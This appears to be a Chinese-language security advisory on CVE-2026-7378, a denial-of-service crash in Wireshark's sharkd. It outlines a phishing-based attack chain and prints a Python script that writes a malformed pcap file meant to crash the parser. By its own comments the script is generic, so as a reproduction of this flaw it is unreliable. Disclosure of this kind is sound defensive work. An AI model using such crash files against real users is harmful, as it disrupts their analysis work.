IPBUF安全漏洞报告
English
CVE-2026-7378 CVSS 5.5 中危

CVE-2026-7378 Wireshark sharkd拒绝服务漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2026-7378
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Wireshark (sharkd)

相关标签

DoSWiresharksharkdDenial of ServiceCrash

漏洞概述

Wireshark的sharkd组件在4.6.0至4.6.4及4.4.0至4.4.14版本中存在崩溃漏洞。攻击者可诱导本地用户打开特制的网络捕获文件,触发sharkd解析异常,从而导致拒绝服务。该漏洞CVSS v3.1评分为5.5,被定级为中危。虽然利用需要用户交互且限于本地环境,但成功攻击会导致服务不可用,影响网络分析任务的正常进行,建议用户尽快升级至安全版本。

技术细节

该漏洞根植于Wireshark的sharkd守护进程在处理特定协议解析时的逻辑缺陷。Sharkd作为一个后台服务,允许用户通过API进行数据包捕获和分析。漏洞触发点在于解析器未能正确处理异常或非标准的数据包结构,导致访问非法内存地址。根据CVSS向量(AV:L/AC:L/PR:N/UI:R),攻击场景通常发生在本地环境中。攻击者无需预先认证,但需要诱导用户进行交互,例如诱骗分析师使用受影响版本的Wireshark打开一个精心构造的恶意pcap文件。一旦sharkd尝试解析该文件中的畸形数据,便会触发段错误或异常终止。虽然该漏洞不涉及信息泄露或权限提升(C:N/I:N),但其可用性影响(A:H)是显著的,会导致持续的分析服务中断,影响运维人员的故障排查工作。

攻击链分析

STEP 1
侦察
攻击者确认目标系统上安装了受影响版本的Wireshark (4.6.0-4.6.4 或 4.4.0-4.4.14) 并启用了sharkd组件。
STEP 2
武器化
攻击者构造一个包含特定畸形数据包结构的网络捕获文件(pcap),该文件能够触发sharkd解析器的内存错误。
STEP 3
交付
通过钓鱼邮件或共享链接,将恶意的pcap文件发送给目标用户。
STEP 4
利用
诱导目标用户使用易受攻击的Wireshark或sharkd工具打开该文件。
STEP 5
影响
sharkd进程在解析文件时崩溃,导致网络分析服务拒绝服务(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import struct def generate_malformed_pcap(filename): # Generate a malformed pcap file header to trigger potential parsing crash # Global Header: Magic Number (4 bytes), Version (2 bytes), ... magic_number = 0xa1b2c3d4 version_major = 2 version_minor = 4 thiszone = 0 sigfigs = 0 snaplen = 65535 network = 1 # Ethernet # Intentionally corrupting the header or packet data to cause crash # This is a generic PoC structure for a crash vulnerability with open(filename, 'wb') as f: # Write standard header f.write(struct.pack('<IHHIIII', magic_number, version_major, version_minor, thiszone, sigfigs, snaplen, network)) # Write a packet header with invalid length to trigger buffer over-read or overflow ts_sec = 1234567890 ts_usec = 0 incl_len = 0xFFFFFFFF # Extremely large packet length orig_len = 0xFFFFFFFF f.write(struct.pack('<IIII', ts_sec, ts_usec, incl_len, orig_len)) # Write dummy packet data (incomplete) f.write(b'\x00' * 100) print(f"[+] Malformed pcap file generated: {filename}") print("[+] Usage: Open this file with Wireshark/sharkd vulnerable version to trigger DoS.") if __name__ == "__main__": generate_malformed_pcap("crash_dos.pcap")

影响范围

Wireshark 4.6.0 - 4.6.4
Wireshark 4.4.0 - 4.4.14

防御指南

临时缓解措施
在无法立即升级的情况下,建议限制对sharkd服务的网络访问,并在沙箱环境中运行Wireshark以隔离潜在的崩溃影响。用户应提高安全意识,仅处理可信来源的数据包捕获文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表